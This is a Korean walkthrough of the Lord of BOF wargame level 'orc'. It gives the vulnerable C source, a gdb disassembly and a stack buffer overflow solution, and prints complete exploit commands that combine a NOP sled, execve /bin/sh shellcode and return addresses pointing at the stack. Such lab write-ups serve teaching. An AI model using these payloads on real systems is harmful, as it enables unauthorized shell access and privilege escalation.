[LOB] goblin
goblin으로 로그인한 후 파일을 확인하면,
orc, orc.c 파일이 있다.
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
코드를 확인해보면
1. extern char **environ; 이라는 부분이 있는데 프로그램 실행환경 값을 가지고 있는 광역 변수이다!
그래서 //egghunter라는 부분 아래가 환경변수를 0으로 초기화하고 있다.
환경변수를 이용한 bof를 실행이 불가능 하다.
2. 추가로 if(argv[1][47] !='\xbf')에서 48bytes부분이 \xbf여야 문제가 풀린다.
gdb로 orc 파일을 확인해 보면 다음과 같다.
(gdb) disass main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048630
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: nop
0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop
0x804852c <main+44>: lea %esi,[%esi*1]
0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea %edx,[%eax*4]
0x804853a <main+58>: mov %eax,%ds:0x8049750
0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea %edx,[%eax*4]
0x8048551 <main+81>: mov %eax,%ds:0x8049750
0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add %esp,4
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push 0
0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea %edx,[%eax*4]
0x8048571 <main+113>: mov %eax,%ds:0x8049750
0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add %esp,12
0x8048582 <main+130>: inc DWORD PTR [%ebp-44]
0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add %eax,4
0x804858d <main+141>: mov %edx,DWORD PTR [%eax]
0x804858f <main+143>: add %edx,47
0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push 0x804863c
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add %esp,4
0x80485a4 <main+164>: push 0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add %esp,4
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40]
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push 0x8048659
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8
0x80485d6 <main+214>: leave
0x80485d7 <main+215>: ret
0x80485d8 <main+216>: nop
0x80485d9 <main+217>: nop
0x80485da <main+218>: nop
0x80485db <main+219>: nop
0x80485dc <main+220>: nop
0x80485dd <main+221>: nop
0x80485de <main+222>: nop
0x80485df <main+223>: nop
sub%esp, 44를 통해서 변수 할당을 위해서 44bytes가 할당되는 것을 알 수 있다.
코드를 확인하면, 변수로는 buffer와 i가 있으며 이를 반영해서 stack을 그리면 아래와 같다.
이 문제를 풀기 위해서
buffer(40bytes) + sfp(4bytes) + ret(4bytes) 에서
buffer + sfp → 44bytes 안에 NOP + 쉘코드를 넣고,
ret에는 NOP의 주소를 넣어서 문제를 풀려고 했다.
NOP(20bytes)+shellcode(24bytes)+ret(4bytes)
24bytes 쉘코드 :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
ret 주소를 확인하기 위해서 orc 파일을 gdb로 확인해야 하는데
orc 권한이 없기 때문에, orc를 하나 복사해서 분석해 본다.
$ cp orc.c orc_2.c
./orc_2 `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90\x90\x90\xbf"'`
RET값으로 NOP이 있는 주소로 설정을 한다.
./orc `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x4a\xfc\xff\xbf"'`
성공!
추가로, buffer 크기가 작다면 RET뒤에 NOP를 잔뜩 넣고 쉘코드를 넣는 것도 가능하다.
그러면 buffer(40byte)+sft(4bytes) -> "A"로 채우고
(gdb) b *main+127 로 브레이크포인트를 잡고
인자값을 주고 실행을 합니다.
(gdb) r `python -c 'print "\x90"*44+"\x90\x90\x90\xbf"+"\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
그러면 아래와 같이 0x90이 들어 있는 주소들을 확인이 가능
그중에 하나(0xbffffb90)를 잡아서 페이로드를 만든다.
./orc `python -c 'print "\x90"*44+"\x90\xfb\xff\xbf"+"\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
성공!